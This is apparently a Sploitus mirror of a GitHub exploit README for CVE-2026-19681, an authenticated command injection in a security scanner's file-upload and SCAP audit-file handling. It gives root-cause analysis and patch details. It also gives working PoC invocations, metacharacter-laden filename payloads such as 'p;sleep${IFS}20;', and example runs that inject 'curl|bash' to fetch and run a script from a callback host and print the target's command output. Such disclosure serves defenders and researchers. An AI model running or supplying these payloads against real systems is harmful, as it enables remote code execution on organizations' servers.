Sploitus

Exploit for poc_cve_2026_19681

githubexploit Β· 2026-08-23

Exploit Code

README116 lines
## https://sploitus.com/exploit?id=E95FF5C7-7787-5663-BB53-6D811102E073
![CVE Image](Gemini_Generated_Image_wv0l6jwv0l6jwv0l.jpg)

# CVE-2026-19681 β€” command injection in file upload processing (authenticated)

**Status: CONFIRMED** on a 6.7.2-14.el9 lab (2026-08-20). Staged filename
`p;sleep${IFS}20;-EvvfJk` via `POST /rest/file/upload` (context prefix carries the
metachars), then `POST /rest/auditFile` (type=scapLinux, version=1.2) stalled exactly
20.1s and returned error 106 ("Error adding Tailoring file to SCAP zip file") β€” the
normal post-injection error path. Execution happens inside the `zip -9Tj` shell
command as the web service user. (Patched in 6.9.0 per the RPM diff; the vuln is
present in at least 6.7.2–6.8.x.)

## Vulnerability

Two-step chain, both under attacker control:

1. **Filename control** β€” `POST /rest/file` stores uploads via
   `Filesystem::saveTmp()` (`FilesystemLib.php:587`), which builds the on-disk name from
   the raw client `context` parameter:
   `tempnam($tmpDir, "$userID.$token." . $context . "-")`. Unknown contexts skip all
   content validation (the `Files.php` NOTICE calls this "wide open since SC 4.x") but
   are still stored β€” so shell metacharacters (`;`, `$()`, backticks) persist in the
   staged filename.

2. **Injection sink** β€” `POST /rest/auditFile` with `type`∈SCAP, `version`=`1.2` enters
   the tailoring branch (`AuditFiles.php:163`):
   `$scapZipFile = $tmpDir . $params['filename']` (fully client-controlled) β†’
   `AuditFileLib::addSCAPTailoringFile()` line 2304:
   `$tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip"` β€” `basename()` strips
   `/` but **not** shell metacharacters β€” then **unescaped** in
   `exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc")`.

A second, same-class sink: `Files.php:360`
`exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/")` in `extractFile()`.

## Patch (6.9.0)

`escapeshellarg($tmpZipFile)` in both zip commands; `Utility::execSafe()` (argv-form
proc_open + `--` separator) replaces the unzip string exec; filename validation added in
`AuditFiles::applySCAPTailoringFile()` (that's CVE-2026-19679).

## PoC

```bash
# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check

# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami

# verbatim injection (no callback) β€” payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
         --cmd 'touch${IFS}/tmp/pwned' --no-exfil
```

Notes:

- upload resource is `/rest/file/upload` (multipart field `Filedata`, `context`
  form field) β€” discovered on the lab; other builds may differ, candidates probed.
- **length budget**: PHP `tempnam()` truncates the staged-name prefix β€” only ~50-55
  chars of `context` survive (measured on the lab; the hex-bootstrap variant was
  chopped mid-payload). Short injections like `p;sleep${IFS}20;` fit; everything
  longer goes through the callback server.
- the auditFile body needs `type=scapLinux|scapWindows`, `version=1.2`,
  `benchmarkName`, `dataStreamName` (per `AuditFiles::validateAdd`); `PARAM_FILENAME`
  only rejects `/` and nonexistent files, so `;`/`${IFS}` pass.
- the tailoring upload (context=tailoringFile) must contain parseable datastream XML
  with at least one Profile β€” a minimal one is embedded.

Lab-verify items (flagged in the script output if they fail):

- The embedded minimal tailoring XML must satisfy `SCAPTailoringFileParser` (>=1
  profile); swap in a real SCAP tailoring datastream if rejected.
- The `type` string must match a member of `AuditFileLib::$validSCAPTypes` (`scap`
  expected).
- The exact `auditFile` body keys come from `AuditFiles::validateAdd()`; adjust if the
  POST returns a parameter error.

## See also

- `../cve-2026-19679/` β€” the input-validation half of the same chain (filename
  sanitization), with a version-detection differential.


## Example Runs

```
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 β€” injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile β€” addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns
```

```
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 β€” injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile β€” addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www
```